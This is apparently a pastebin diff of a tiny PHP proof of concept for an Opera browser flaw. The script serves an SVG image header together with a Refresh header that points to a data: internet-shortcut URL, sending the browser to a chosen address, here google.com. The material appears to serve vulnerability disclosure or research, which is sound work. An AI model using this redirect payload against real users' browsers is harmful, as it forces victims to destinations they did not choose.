View difference between Paste ID: HkSt4QDP and H6KzMgJV
SHOW: | | - or go back to the newest paste.
1
<?php /*
2-
Opera Redirect via img-tag vuln PoC.
2+
3
Or, just for beauty, load it via Refresh-header in a data:url.
4
*/
5
6
header('Content-type: image/svg+xml');
7
header('Refresh: 0;url=data:application/internet-shortcut,%5BInternetShortcut%5D%0D%0AURL%3D'.urlencode('http://google.com/'));
8
echo '<svg xmlns="http://www.w3.org/2000/svg" version="1.1" />'; /* optional, to prevent red error page instead of image. */